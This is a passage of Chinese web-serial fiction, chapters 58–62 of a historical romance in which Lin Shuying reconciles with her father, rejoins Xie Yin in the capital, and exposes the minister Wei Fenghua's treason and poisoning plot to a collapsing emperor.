“秀云,这里是哪?”
“回小姐的话,这里是沧隅山,我什么都不知道,是跟着老爷来这里的。”
秀云端来汤药,喂给林疏影。
林疏影张口喝着,有些摸不清楚头脑,“林行牧来这里做什么,总不能是为了造反吧。”
“疏影,好久不见。”
秀云见林行牧走进屋子,忙把药放在一旁的桌子上,行礼下去了。
林姓行牧打量着许久未见的女儿,褶皱的眼角都是心疼。
这是他的女儿。
“你来这里做什么?”
林疏影一点也不客气,她打小就对这个父亲没什么好印象,除去窝囊还是窝囊。
如果不是他窝囊,护不好母亲,才让母亲在家就被贼人毒死。
算什么男人。
她气呼呼地把头扭到一边,不给林行牧一个正脸。
“疏影,你想救谢寅吗?”
林行牧见女儿避而不见,也没什么办法。
但他一直了解这女儿的近况,当然是通过陈述在京城的眼线知道的。
那一封封汇报信里面,他看出了女儿对于谢寅的爱。
他很欣慰,也很心疼,但同时又不想阻止女儿的闯荡。
这世间对女子的枷锁太多了,他给明心的枷锁也太多了,但是最后的结局是什么?
他依旧没能保护好妻子,依旧不能放手让妻子闯出自己的天地。
现在他更没有理由,没有权力去干涉女儿的道路。
每次案件真相浮现,他是最开心的。
“你什么意思?”
林疏影摸不着头脑,她以为这个窝囊的爹是来接她回去的。
也可能是来抛弃她、与她断绝父女关系的。
毕竟,现在她成了一个通缉犯,犯了欺君罔上的罪。
“陈述是我的至交好友,我帮他养着土匪,帮他打掩护,我前几日来这里蛰伏,本来打算多待一些时日,结果没几天就出了这档子事。”
“你放心,有爹在,就能护住你的性命。”
林行牧沧桑的眼睛里流露出的真情似真似假。
林疏影更是摸不到头脑,哪门子的事情,林行牧什么时候有胆子帮着土匪藏人,还听凭土匪差遣了?
她看着那张熟悉的脸,好久不见,怎么变了这么多。
记忆里那个人与眼前的人对不上了。
林疏影完全放弃探究眼前的人到底是不是她的父亲了,直入主题。
“所以你们早就串通好了是吗,谢寅呢,他也早就知道了?”
“城里的事情我就不知道了,应当是谢总督临时起意。”
林行牧其认为,当下并不是一个好的时机,但是城里开始闹了,他就得在后面顶着。
时刻观察着有没有援兵来,以保证陈述顺利上位。
不过这个谢寅或许太年少气盛了一些,但是把他的宝贝闺女送出危险,还是不错的。
他已经满意了一半。
想必明心知晓了,也会欣慰吧。
“我要进城!”
落下这么一句话,林疏影蹭得一下起身,随便披上衣服就往外走。
如果只有一个欺君罔上的罪名,她不信会闹出这么大的动静。
也不相信谢寅是什么浮躁的人,肯定还发生了什么事情。
是魏丰华动手了?
这人到底拿出了什么东西,竟然把谢寅也逼上了绝路。
“你给我站住,你以为你是谁,就算你能以一敌百,难道还能挡住数不清的暗箭,你进城与直接送死有什么区别!”
林行牧吼出声来。
这也是林疏影第一次见到这么愤怒的父亲。
她缓缓地往后转,“我死了又怎么样,你真的在乎?我进去就是送死,难道我呆在外面就不是了?”
“我好歹是你父亲,就算我死,也不会...”
林行牧没力气与林疏影争辩,他看着决绝的女儿,心里有说不出的痛。
“那我的母亲是怎么死的,你还记得吗?”
林疏影说着狠话,但是手上的动作还是停下来了。
那一瞬间的情绪冷却之后,她渐渐找到了些许头绪。
既然林行牧与陈述有照应,她也该与林行牧商量好了如何进城。
眼泪一直在眼眶里打转,林疏影强忍着攒了满眼的泪水。
她曾经标彪炳自己比父亲有用,比父亲有能耐,但是现在呢。
为母亲翻案了吗,为母亲沉冤昭雪了吗,她甚至害怕被人查出来身份,抄赵家时甚至没有借着这个好机会为母亲正名,甚至还在念想着本就不存在的前途。
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没有母亲她那里来的前途。
没有这样一个捏造的虚假的身份,她什么也不是了。
她跌跌撞撞地坐到床上,抱住被子,眼泪刷得就往下流。
害死母亲的凶手明明已经绳之以法了,她也如愿报了仇,但母亲的死依旧梗在她心底。
平时藏在最隐蔽最软弱的地方。
她把母亲的死怪罪在父亲头上,也不过是想要找个合理的理由把对母亲的思念转换为对父亲的看不起而已。
也只不过是想让自己的情绪有出口,也只不过是...
林行牧似乎是认下了女儿的指认,什么话也没说,看着女儿趴在床上哭,也只是最在床边,用手拍着女儿的背,为她顺气。
一下一下地,很有耐心,也很温柔。
林疏影也意识到,之前的记忆里,其实父亲对她也是很好的,对母亲也是相敬如宾。
而那些对于父亲的怨气随着母亲的死竟然也找不到了源头。
她在脑海里一遍一遍地寻找着父亲的“罪行”,找了很久,也哭了很久。
直到哭累,沉沉睡去。
林行牧为林疏影整理好被子。
他现在只有这么一个亲人了。
明心,她长大了,学会了很多东西,也如你的愿踏出了那方别院。
林行牧蹒跚着步履,一步一步地走回了自己的住处,拿起经常摆在桌子上的小物件,那是一对玉佩。
抚摸几次,回忆闪现在脑海里。
还记得,这还是他刚到巴郡时,从集市上买回来送给明心的。
他们两人还算恩爱,但终究没能长久。
明心她总要往外走,那时候已经有疏影了。
甚至还想插手陈家旧案,通过翻阅各种资料,发现了案件的种种漏洞,也察觉到了魏家的无辜。
甚至有了北上京城的念想。
“你怀着孩子,路途遥远,伤着身子了怎么办。”
林行牧拉着赵明心,他紧皱眉头,满脸都是担忧。
赵明心则是一脸决绝,就像刚才疏影要进城的模样。
“你也去啊,当今圣上圣明,一定会为魏家翻案的,牵连的陈家和诸多无辜百姓也都会得到一个真相。”
赵明心耐心劝说着。
“明心!你别傻了,京城里那些权贵甚至是皇上,难道不清楚背后还有龌龊吗,你说他们为什么不去查?”
“你毕竟是女人,也没有什么地位,你说的话有几个人会信,有谁会在乎!”
这是林行牧第一次对妻子说重话,也是最后悔的一次。
他知道,如果不说这么绝,明心不会死心。
皇城里的龌龊,他入京的那段时间全都看在眼里,要不然也不会心甘情愿带着妻子来到偏远的巴郡。
说完话后,他就后悔了,看着明心变化的眼神,心揪了一下。
赵明心没想到枕边人就是这么看待自己的。
大夏对女子的束缚多,女子的地位也很低,但是她从不觉得自己就是那些人嘴里的卑贱的人。
从小到大,父亲对她的教育也是与哥哥一般无二。
她顿时泄了气,低垂下眼,没了动作。
那之后,明心刻意躲着他,刻意疏远他,甚至要提出分房睡...
59. 第 59 章
林行牧知道明心一直对陈家旧案耿耿于怀,他派人暗中保护明心,为妻子查各种资料。
而真相也早就淹没在赵明心的死里,再也找不回来了。
他承认自己的错误,承认自己的胆怯懦弱,承认自己的自私。
本以为,只要能保住他们这一个小家,只要能在一方安稳就是世间最大的幸福。
明心不这么认为,插手陈家旧案十几年,依旧不肯放弃,最终被赵家盯上。
他暗中派出的人也因与赵家偷袭的人实力悬殊一个也没留下。
看到明心的尸体后,他依旧不想让女儿再卷入这场阴谋里,仍旧阻止女儿对于真相的探查。
那颗一直紧绷着的心一直悬着,直到听到女儿逃跑的消息。
那时候,他才终于想明白。
赤子之心是年少时不可缺之物。
而他亲手毁了妻子的那颗为寻求真相而不顾一切的心。
把她困在自以为安全的地方,毁了妻子的未来。
最后他还没能保护好明心。
这是最令他痛心的。
也就是那个雨天,他决定放手。
妻子的死已经在他心里刻上了一道难以愈合的疤,这次他一定会护好女儿,让她去自己的天地闯一闯。
只有他们亲眼见到的世界才是天地,长辈们嘴里的顶多是见闻。
林疏影睡醒时,天色已经完全黑下来了。
她坐起身,穿好衣服,推开门呼吸了一大口空气。
“秀云,你带我去见林行牧。”
“正好老爷正在等小姐一起吃晚饭,小姐我带你去。”
秀云应声,走到林疏影前面带路。
她心里还有些打鼓,这两人可别再吵起来了。
两人也没什么话可以说。
现在林疏影脑子里全是谢寅,全是在分析京城里面到底发生了什么事情,根本腾不出多余的空间来谈笑。
“小姐,就是这了。”
秀云见小姐心事重重,也不敢打听,只能尽好自己的责任。
毕竟,从小到大,小姐的想法总与她们这些下人的不一样,总不能为小姐分忧,也只能不烦扰小姐了。
她为林疏影打开门,等小姐进去后,又带上门,一点不拖泥带水。
“谈一谈,我要进城,我可以为陈述铺路,为他扫清一切障碍。”
林疏影直入正题,她甚至都没打算在林行牧这里吃一顿饭。
“疏影,坐下陪父亲吃一顿饭好吗。”
林行牧心里有些不是滋味。
怎么对那个认识了没一年的人这么上心,对自己却正眼都不想看呢。
也算是他亏欠她们母女俩太多,好好补偿吧。
他看着桌上的饭菜,都是女儿喜欢吃的。
“我...”
林疏影刚要拒绝,就看见了满桌子自己喜欢吃的菜。
顿时没说出来的话再也说不出来了。
她不可能把别人的真心拿来践踏。
再者,经历了下午的反省,她其实对眼前这个父亲没什么意见,只是也就停留在这一步了。
她也不想两人之间有什么过分的交集,或者两人之间有什么亏欠。
看着一桌子的菜,那确定好的想法松动了几分,她鬼使神差地坐下,拿起了碗筷。
“你答应吗?”
“你知道,父亲只想要保证你的安全,我也只剩下你这么一个亲人了。”
林行牧几番哽咽,终究还是没能留住这个一心回京的女儿。
这次林疏影不用再扮作男装,一袭黑衣,与同行的长青翻越了城墙。
“你回去做什么?”
两人几乎同时问出口。
与此同时,四目相对。
罕见得,两个人都从对方的眼睛里读出来些许与自己想法一样的东西来。
为了在乎自己的和自己在乎的人。
“为了长煊。”
“为了谢寅。”
而后两人相视一笑,默契地躲过巡逻的士兵,溜进谢家府邸。
平日里灯火总是最旺盛的时候,现在谢家只剩下一个屋子。
林疏影在屋子外面蹲了一会儿,她知道谢寅一定会派暗卫守着谢家。
于是把长青打发去处理那些人了。
她看着烛光透过纱窗掩映出来的黑影,一次一次地分辨印象中的背影。
说话声越来越小,直到消失,林疏影皱眉慢慢站起身。
下一刻,破门而出的剑直指林疏影面门来。
她拔剑对上,但力气太小败下阵来。
不过,她没想着打起来,而是把手探向围脸的黑布。
在被谢寅剑指脖颈时,她也正好扯下了围在脸上的布。
看清楚眼前之人的脸后,谢寅把剑扔到一边,一下子就抱住了。
心心念念的人站在自己面前了,他却有点生气。
“你还回来做什么!”
责备的语气里,满是担忧。
他现在的境地足够艰难,不想让疏影跟着自己步履维艰。
“我就要回来,以前你总保护我,现在我也可以大言不惭地对你说,我来保护你了。”
林疏影死死地搂住谢寅的背。
她在谢寅怀里总能感觉到难以言喻的安稳,现在也是。
两人陷在怀抱里时,谢重渡和谢夫人也从屋子里走出来。
两人分开彼此之后,与两位长辈面面相觑。
林疏影有些不好意思,她甚至想要钻到谢寅的背后躲过这一劫。
来谢府之前,她怎么没想到还有这一茬呢。
“这是...”
还是谢夫人先开了口,她看出来林疏影的无措,主动上前。
挽起林疏影的胳膊,拉着往屋子里走。
“外面太冷了,先去屋子里说吧。”
谢寅看着被迫拉走的人,自觉好笑,无视了林疏影求助的眼神。
谢重渡看那模样,猜出了几分。
转而,对谢寅摆起了脸子。
“臭小子,你骗我。”
“我...”
“少不了一顿家法伺候。”
谢重渡冷哼一声,甩袖跟在夫人身后进了屋子。
谢寅只能摆摆手。
“好孩子,你就是那个与我家寅儿两情相悦的人?”
谢夫人看着林疏影俊俏的模样,越看越喜欢。
“老谢之前还跟我说过,我就说能把我儿子迷得五迷三道得肯定不是一般人。”
“谢谢伯母夸奖。”
林疏影没想到两位长辈也知道这件事。
难不成谢家也知道她的真实身份了?
不可能,如果要坦白身份,
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谢寅一定会寻求她的意见的。
不是没有任何知会。
她看向谢寅,再次求助。
谢夫人有些太热情了,她招架不住啊。
“母亲,你看她的脸都羞成什么样子了,快放你的儿媳妇一马吧,以后有的是时间熟悉。”
谢寅上前,一把拉起林疏影,护到自己身旁。
“好好,我知道了,下次我一定得为疏影准备些好东西。”
谢重渡过处在这么个场面下,有种没由来的尴尬。
他记得之前跟夫人说得是林疏影这个名字。
因为买好意思讲出儿子的...
十分委婉地向夫人讲了,现在看来她也就记得了一个名字和一个对林疏影地形容——五迷三道。
谢寅拉着林疏影出门的时候还故意冲自己的老爹笔画了一个手势。
谢寅带着林疏影去了一个偏僻的小屋,原来的府邸不安全,他也不放心。
现在魏丰华的暗卫算得上是满大街飞了。
“到底发生了什么?”
林疏影看着谢寅的眼睛,问出这句话来。
许是害怕那人不说,她又加了几句话,“你知道的,我这次回来就是要跟你一起面对这些事情,出城也不好出吧。”
“好了,我告诉你,我的祖宗,今天早朝,魏丰华拿出了你勾结突厥的证据。”
谢寅说了实话,接着又把自己的安排对林疏影讲清楚了。
“你怀疑他暗中勾结突厥,还放走了他通风报信的暗卫?”
“你是想要,用突厥来让大夏倒台?”
朝代交替总得有个说得过去的理由。
要么是反抗暴政,要么假借他人之手,然后螳螂捕蝉黄雀在后。
显然,陈述更倾向于后者。
“皇帝怎么样了?”
林疏影问道,如果是后者,那么稳住皇帝是最关键的。
“我想办法控制着,但是师父他一直不肯...”
谢寅长长地叹了一口气。
师父为大夏付出了很多,几乎把老人家毕生的心血都奉献出去了。
而且,老头子最讲究忠君。
“我来,我去帮你稳住皇帝,师父那边我也尽力去劝说。”
林疏影握住谢寅的手,稳稳地说出了这句话。
“好。”
两人相视一笑,在院子里的台阶上,互相靠坐着欣赏周围的夜景。
次日一早,林疏影改头换面,穿了一套时兴的衣裙。
她摸着身上的面料,低头看着自己的衣服,有种久违的感觉。
之前,一直很抗拒这种衣服的她到现在竟然也不这么排斥了。
明明穿上也很漂亮,为什么之前就不喜欢呢?
林疏影也没多想,她转了一圈,颇为满意地往外走。
正好对上门外的谢寅。
“很漂亮,以后我可得给你多准备一些衣服了。”
谢寅看着与平时不太一样的人,不自觉露出一个微笑来,他真想每天都看见这样的林疏影。
“等你。”
无论发生什么,都要活下来,都要等到彼此,都要亲自把彼此的余生交给对方。
两人一起吃了早饭,便忙各自的事情去了。
林疏影要进宫,谢寅要查清魏丰华的底细。
两个人目的明确。
60. 第 60 章
林疏影女儿身毫无遮掩地跨过一道道门槛,她看着熟悉的城墙、砖瓦,一点儿也不担心自己的伪装会暴露,自己的身份会被揭穿。
卸下一切伪装很轻松。
她一步一步地毫无阻碍地走到皇帝跟前。
脑海里回想着谢寅对自己交代的魏丰华做的龌龊事。
“微臣林疏影参见皇上,吾皇万岁万岁万万岁。”
太和殿内,依旧装潢万分,但是早就没了平日里的肃穆,皇帝于高位之上,死气沉沉。
闻言,皇帝有些晃神,他看着底下的林疏影,连一个字也不想说。
他所信任的大臣反叛,就是为了这个女人。
还没能摆脱士族,就先让谢寅这个小子钻了空子。
“皇上,你可知,为何谢总督要反叛?”
林疏影见那人不回话,自顾自地站起来,拍拍身上的土,站在底下,铿锵有力地说。
“皇上可知小您信任的魏丰华到底是什么人?”
此言一出,皇帝眼神闪了闪。
林疏影察觉皇帝起疑,“他就是二十年前陈家旧案被冤判的魏家人,与皇上你之间有说不清的怨恨。”
“还有,赵家的的倒台、曹家的倒台,甚至曹皇后陷害后宫所有嫔妃,致使她们不孕的药,也都是魏丰华暗中派杜周给的,本来,曹皇后没想着喝那害人的药物,偏偏,魏丰华恨透了先皇、恨透了皇上、恨透了大夏,他想让大夏断子绝孙,不复存在。”
皇帝听着林疏影的话,直摇头,他一个字也不敢信。
毕竟无论是赵家还是曹家的案子,都经过谢寅林疏影两个人之手,谁知道她现在提及这些居了什么心。
“什么!魏尚书一直帮朕解决各种事务,对朕也很好,你休要胡言乱语,挑拨朕与魏大人之间的关系。”
“朕没发现啊,你倒是聪明的很,为了谢寅吧,这些日子,你在朕面前的表现真是卖力,谁知道你们什么时候就串通在一起谋求朕的江山了!”
林疏影依旧恭恭敬敬地,给了皇帝旁边的小福子一个眼神,顺便大声咳嗽了两声。
长煊压着杜周进入了大殿。
小福子看了看皇帝的意思,上前去接林疏影手中的证据。
待到皇帝拿到证据时,杜周也已经跪下,给皇帝请了安。
皇帝依旧没有回话。
现在,他这个名存实亡的皇帝早就没了权力,还要这些俗礼有什么用。
“皇上,微臣确实是魏大人派来的,他承诺微臣爵禄荣昌,微臣一时鬼迷心窍,才犯了错事,才...把手伸到后宫的,看在微臣一心悔改的份上,就饶了微臣这一次吧。”
杜周一副全盘托出的模样,实际抓小放大,说得含含糊糊,就是想要为自己讨一份生路。
原先,魏丰华答应他的,他一直记着,所以在谢寅百般逼问下,才一直没说出来真相,但是现在,魏丰华不知所踪,许诺的官位财富都会消失不见,京城里只有禁军,谁能掌握禁军,谁就是天下,一夜之间,风云忽变。
他闻着味就要知道了谁是风向。
只要肯回头,肯认错,加上他就是魏丰华作案的证据,他还有价值,只要能利用好这个条件,他也一定会有不错的未来。
“你说的可都是真的?”
皇帝拿着证据的手都在抖。
他没想过留下任何一家士族,只是没想到,这些他以为被他玩弄于股掌之间的大臣,这些他用权力来控制的大臣早就看透了他的想法。
早就另谋出路了。
就像谢寅知道谢家早晚都会被魏丰华搞下去,所以才一不做二不休,直接反叛保全谢家和这个林疏影。
他猜的不错的话,魏丰华蛰伏二十年,为的就是他现在的位置。
李昭朔长长舒了一口气。
“那这些药物都是从哪里来的,你可知晓?”
林疏影问道。
“有几味是从突厥那里运来的,药材生存环境苛刻,效果奇好,虽然中原也有这些药材,但是药效远不及突厥的药,但是药材的外形大差不差,极容易混淆两者。但如果是用中原的药材的话,娘娘们也不会...”
杜周一下子就明白了林疏影的意思,特别突出了“突厥”二字。
把自己能说的,知道的,不知道的,全都说出来了。
他仍旧跪在地上,十分虔诚。
他猜的没错的话,谢寅是不想谋得皇位,毕竟他有什么反叛的理由?
就算是反叛了,也要背上千夫所指的罪名。
再看眼下,林疏影竟然带着他讨伐魏丰华,向皇帝揭露魏丰华的罪名。
也就是说,他们对皇帝还是有几分忌惮,做得这些举动也都是为了消除皇上对他们的猜忌和误解,好表明自己的忠心。
总而言之,这乱子过去之后,权力还是会落在九五至尊手里,说不准谢寅和林疏影有什么样的下场,所以他最需要讨好的就是皇帝。
不过再怎么说谢寅傻,也还是得感谢他们两人给了自己表明忠心的机会。
林疏影看着台上的皇帝的面色变了又变,也不着急,她低声吩咐长煊把杜周带下去。
毕竟,杜周已经没有利用的价值了。
此刻,皇帝心里百转千回。
他气愤,他悔恨,他无奈,他...
此刻,几种情绪涌上心头,他有些分辨不清自己到底怎么了。
他气愤魏丰华为一个已经翻案的旧案子报复他,导致他至今无儿女。
他悔恨没有把权力紧紧握在自己手里,尤其是禁军,才导致自己被谢寅围攻,被谢寅控制,甚至被软禁在皇宫里等着大夏百年基业转手他人。
他无奈自己没有早些看清楚这些表里不一的大臣们,导致自己深陷局中而不自知。
......
“皇上,魏丰华早就与突厥勾结,也许过几日,突厥得到消息,就会打入皇城,而楚将军驻守边防阵营的所有图纸早就被魏大人出卖了。”
“皇上,等我们处理好了魏大人,为大夏清除了障碍,一切自然会回归原样,现在你要做的就是要好好地在宫里等待。”
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林疏影顺势为皇帝点明利弊,只字不提陈述反叛一事。
不过,她此行就是要告诉皇帝,他背后没有什么人了。
那些支持他的大臣不多,但都被谢寅关进了大牢,那些他信任的大臣居心叵测,也不值得依靠,那些模棱两可的大臣在看清楚形势之后自然也会走到陈述身边,更不用提那些为皇帝卖命但还被提防限制的人了。
皇帝自然听出了林疏影的意思,他嗤笑两声,近乎嘲弄地说,“你要是走到我这个位置,你的下场不会比我好。”
没人不敬畏皇帝,没有不想要皇位。
自小被追求权力的欲望滋养的他还是败在了权力上。
就是他掌握的权力不够多,所以才会被这些鼠辈钻了空子。
林疏影摇摇头,“皇上,我从未肖想过皇位,我从未想要追求无尽的权力,我只是想要能够为母亲寻求真相,尽力为天下苍生谋求真相,为如我一样的女子寻求走向朝廷的权力。”
她看着李昭朔的神情,还是没忍住,“皇上,我只想问您一个问题。”
“在知道了突厥与魏丰华早有勾结之后,你后悔将公主送与和亲了吗?”
皇帝笑得更大声了,这个问题真的很蠢。
太蠢了。
“林状元,林侍读,你走到现在,离不开朕的扶持,得到的职位、奖赏,都是朕施舍给你的,不然你以为就凭你自己,能走到现在?”
“而公主也是这样,公主的殊荣、荣华都是大夏给她的,她能有那么跋扈的性子,能有别人几辈子修不来的福分,应该为大夏做出什么的。”
“和亲能够保我大夏几十年安稳,能和亲就是她的福分,她应该高兴啊。”
“应该为自己能够为大夏贡献出自己而高兴啊。”
皇帝几乎疯癫地说出这些话。
现在,他所崇尚的一切早就崩塌了,无论是维护千疮百孔的大夏,还是以身入局玩弄权力,他所做的一切,都没有结果了。
“我没有错,我是为了大夏,为了大夏的百姓,我没错,都是你们这些搅局的人,都是你们破坏了我的计划,你们才该死,本来大夏可以中兴的,本来...我没错。”
皇帝渐渐语无伦次,眼神逐渐涣散。
林疏影听着皇帝仍旧迷信自己的那一套说法,深深地叹了一口气。
公主把自己的一生的幸福都搭进去了,结果就是理所应当,她真为永安不值。
也许,生在所谓的皇家,就已经预示了永安一生的劫难。
生在皇家才是最不幸的。
脑海里浮现出那个天真烂漫的女孩,两人之间的点滴记忆涌入,那些幼稚的争斗、吵闹,和公主最本真的美好在她脑海里挥之不去,眼泪猛地决堤,一发不可收拾。
皇帝已经近乎疯魔,林疏影擦去眼泪,这也算完成了任务。
“小福子,照顾好皇上,否则,拿你是问。”
落下这么一句话,林疏影便头也不回地往外走去。
权力真是个可怕的东西,能让人风光,也能让人疯魔。
61. 第 61 章
另一边,谢寅一直盯着魏丰华的举动。
“长青,禁军排查得怎么样了?”
“初步排查出几个奸细,已经处理掉了。”
长青还有话要说,被谢寅示意噤声。
魏府里逃出来一个人。
谢寅看着那人,这个应该就是给突厥传信的人了。
而后他看向长青。
长青心领神会,立马跑到各处周围分散的暗卫那,示意他们不要动作。
蛰伏这么久,终于等到了,魏丰华确实很谨慎,但这种绝路上,谨慎只是加分项,不是能够活下来的必要条件。
长青传达完消息,回到谢寅身边,“主子,为什么要放这个人走,这肯定是去通风报信了。”
谢寅没说话,先在拍了一下长青的脑袋,“等人走远了,派人直接拿下。”
长青点头,明白了主子的意思,扭头挑了一个暗卫跟上去。
片刻之后,暗卫带着从那人身上搜出来的信件回来。
谢寅拿着那封信,大约浏览了一遍。
魏丰华拉拢突厥所提出的条件全是关于未定的将来的。
什么许诺多少做城池,每年进贡的丝绸黄金。
这个诚意太晚了些。
他把信撕了,命人给林行牧传话——可以开始行动了。
此刻,魏府,暗室。
魏丰华的脸隐匿在暗中,魏丹清已经慌了神。
“父亲,咱们还是赶紧认罪吧,你看谢寅支持皇上,但是皇上对咱们好歹有情分,只要能讨好了皇上,咱至少还能活下来啊。”
魏丹清颤抖着,他已经在这个暗无天日的地方很久了,黑暗带给他的只有无尽的恐惧和未知。
他迫切地想要划定好自己的归属,稳定下自己的立场,好为自己求得一线生机。
但是父亲听不进去他的话啊。
“糊涂,你以为皇帝是个好打发的?只要引起了他的一丝怀疑,他就绝对不会手下留情,而且杜周还没处理掉吧。”
后半句极具威慑力,直冲办事不利的暗卫。
“大人饶命啊,实在是那谢寅把自己最精锐的守卫安排在了杜周身边...”
暗卫赶紧跪下来认错,关键时刻,他们这些人没有选择。
从为魏丰华做这些龌龊事情的一天起,他就把自己的这一条命出卖给了大人。
像他们这种底层的,吃了上顿没下顿的,有人赏口饭吃,就会死心塌地地为人卖命。
“行了,到现在了,我也不想追究什么,你们只要知道,按照我说的话来做,事情成了,有大把的财富和无尽的荣华,若是敢临阵倒戈,吃里爬外的,别怪我不客气了。”
暗室里的暗卫纷纷跪下来,齐刷刷地喊着,“誓死追随大人。”
响亮的声音和父亲说在耳边的警告让魏丹清心头一震。
他不敢再说出什么忤逆父亲的话来,也学着那些暗卫的姿态,随着齐刷刷的声音说,“誓死追随大人。”
说罢,还擦了擦额头的汗。
父亲的手段,他是见过的,那些曾经背叛过父亲的人,都没有一个好下场。
他甚至觉得,父亲冷漠到不会顾及任何世俗的束缚,甚至是对自己的亲儿子。
“给突厥送信的人安全出去了?”
“是,魏府周围没有任何动静,应该是谢寅看这些天没什么动静,放松警惕了。”
无影上前说。
“嗯...你知道为什么吗,丹清。”
魏丰华问道。
“肯定是那谢寅知道父亲您为人和善,皇上也念您多年的功劳,怕惹了皇上忧心,这才撤下去的。”
魏丹清说十分小心地查看父亲的脸色。
结果魏丰华直接偏过头去,询问了无影同样的问题。
魏丹清自觉脸有些红,怎么父亲把他和这个低贱的暗卫相提并论?
这不是降了他的地位吗?
他能和暗卫一样吗?
但碍于父亲平日里的威压,他大气也不敢喘,更别提质疑父亲的行为了。
毕竟刚才才敲打过他。
“回大人,属下以为,谢寅是故意放那人走的,至于原因,属下不敢妄加猜测。”
无影如实回答。
“嗯...不错,丹清你先出去,无影你留下。”
魏丰华颇为满意地点头。
“父亲,你这是做什么?”
魏丹清有些无措,父亲现在连暗卫的话都信了?
他比不上一个暗卫?
这不是当着这些人的面薄他的面子吗?
“不该问的别问,不该说的别说,你觉得皇帝能保住你,你大可以进宫求情。”
魏丰华懒得解释。
留在身边教导这么久,一点儿也不开窍。
还看不清楚现在的形势,连一个暗卫都比不过,真是废物一个。
偏偏这么蠢笨的是他魏丰华的儿子。
不过,再蠢笨的棋子,能用好也能够发挥莫大的效用。
作为他魏丰华的儿子,他一定会让这颗棋子发挥最大的价值。
“我知道了,父亲。”
魏丹清纵使心中有万般怨言,也不敢冒出一点来。
眼见自己输给一个暗卫,他就知道自己在父亲心里的地位越来越少了。
如若再不听话,兴许下一个被废掉的棋子就是自己。
他低眉顺眼地退下。
魏丰华对于魏丹清的识时务还是颇有几分满意的。
儿子能让他满意的地方不多,这算是一个了。
“你知道为什么谢寅要放走那封信吗?”
他看着站在一旁的人,开口道。
不等无影回答。
“陈述要上位,必然要寻求一个契机,而这个契机要依赖于我。人人都说大夏内忧外患,但只要你仔细观察,其实陈述就是那个内忧,几乎所有的起义都出自他手,而作为大夏百姓所嫌恶的一方,他当然要依靠解决另一个麻烦保证自己能够得到民心,从而顺利开拓自己的王朝。”
“如果换做是你,你现在会怎么做?”
魏丰华问道。
“属下只是一个暗卫,从没想过这么多,属下只是追随大人,大人吩咐属下做什么,属下便做什么。”
无影对于这些明争暗斗懂得并不多。
他更关心的是,自己是否能活下来,是否能迟到饭。
而且,这些上面的事情,他是万不敢插手,也没有能
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力插手。
“好孩子,你说的很好,但是我要告诉你,要是我,我就会借着这个好契机,把皇帝和陈述一起拿下。”
“多么好的机会啊,可得好好珍惜。”
其实,谢寅这么早动手,他是没想到的。
本来还想着先把林疏影这个小人物控制住,顺便牵制一下谢寅,从而把整个谢家拉下水。
现在看来,这个林疏影对于谢寅相当重要。
为了她,背上叛国的罪名也在所不惜。
哦,不对,谢寅封锁了城内的所有消息,逮捕了所有王公大臣,现在皇城里的百姓还不知道他反叛了。
看来,得加一把火了。
正好,不是要利用他来作为陈述上位的垫脚石吗,就让这个小辈看清楚,到底谁才是那个垫脚石。
“无影,最近城里有些太平啊。”
“大人有何吩咐,属下必当竭尽全力。”
无影领会了魏丰华的意思,直接扑通一声跪下请求指示。
这是他唯一能做的事情。
“好,我最喜欢你这一点,虽然你不聪明,但足够懂事,足够听话。去散播谢寅助匪寇陈述谋反的消息。”
魏丰华站起身,阴暗的脸走到光下,几分笑意迎上脸。
他现在失去的所有都会加倍地讨回来,就像当年被流放一无所有一样,没有人会打死他,最终他还是会走向那个权力的巅峰,审判所有人。
“属下领命。”
魏府外的隐蔽角落。
“主子,你还是回去歇会吧,这都晌午了。”
长青上前询问。
“嘘。”
谢寅把食指放在嘴边示意噤声。
果然见一人裹了满身的黑,鬼鬼祟祟地跑出来。
“你跟着他,有什么动作向我汇报。”
谢寅吩咐完,见那黑衣人跑原来,站起身活动活动身子,往回走了。
回到住处的幽静的小巷子,谢寅正好与林疏影碰头。
“好巧,那边都解决好了?”
“皇帝有些疯魔了,应该没有威胁了,魏家那里呢,有什么动作?”
林疏影跟在谢寅身后,进了院子。
“派出去一个暗卫,是给突厥送信的,已经拦截了,就等...你父亲接手突厥的事情了,还有一个不知意图为何,长青跟着呢。”
谢寅不想对眼前的人隐瞒这些事情,从林疏影连夜带着红肿的眼睛回来的那一刻开始,他就再也不能隐瞒了。
也就是那个时候,他意识到,这不是他自己一个人的事情,也没有必要把所有的责任,所有的事情都揽在自己身上。
同甘共苦才是夫妻。
“陈述他们也跟突厥有联系?”
林疏影琢磨清楚谢寅的话,皱眉问道。
如果真是这样,魏丰华从头到尾的算计就有点可笑了。
“既然魏丰华可以开出诱人的条件,那陈述也可以,至于他们具体怎么应付突厥,就看他们如何做了。”
言外之意是,陈述与突厥并没有什么过多的联系,同样,魏丰华也是。
谢寅看着林疏影一直扑闪的睫毛,心里漾起一丝别样的感觉。
真想快些结束这些事情。
62. 第 62 章
沧隅山寨子里。
应对突厥的担子落到了刘永兰身上,他出面前往突厥,来回的路程都够走许多天了。
“我愿意携几个精锐士兵前往,这样更节省时间,也不容易让魏丰华起疑虑。”
刘永兰跪拜请命。
陈述坐在高位上颇有些不舍,毕竟因为他,永兰已经在大夏牢狱里待了很长一段时间,现在又要冒着生命危险去与突厥谈判。
蛮人终究不是中原人,万一他们野蛮软硬不吃,永兰可是他一大臂膀。
他几番张口,没能应下。
“大王,还是早做决定,耽误了时间,不论是皇帝还是魏家,都是隐患呐。”
刘永兰早就不在乎生死了,他现在只想要让百姓能够尽快安稳下来。
陈述皱眉,思索几番,确实没有比永兰更好的人选,有能力的没有永兰这样的魄力,有魄力的没有永兰这样的说服能力。
罢了。
“好,既然永兰决意要去,我也不拦了,只是一定要活着把突厥军队带回来,听见了没有。”
“谢大王,永兰一定不会辜负大王的期望。”
刘永兰再叩拜,而后起身,头也不回地出了大堂。
陈述看着周围熟悉的环境和摆放的装饰,感叹几分,先前他们齐聚沧隅,沉淀许久,想要直捣黄龙,一举夺下大夏百年基业。
现在正是关键时刻,他心里倒是没有先前的翻涌,还平静许多,都变了很多啊。
幸好他还有永兰、林穷这些左膀右臂在,否则,谢寅那一记重创,单凭他一个人是撑不到现在的。
京城里。
“主子,那暗卫在街坊邻居里散播总督您要篡位的消息。”
“引起了不小的民怨。”
长青如实汇报。
谢寅一点儿也不着急,“到底是谁狼子野心,现在不都人尽皆知了?”
“疏影,我又得摆脱你一件事情了。”
谢寅几乎是恳求的语气冲一遍听着两人对话的林疏影撒娇。
把林疏影吓得不轻,难不成是这么多天来累着了,所以要找个地方发泄一下,所以才这么不正常的吗?
长青惊讶地默默把张开的嘴又闭上。
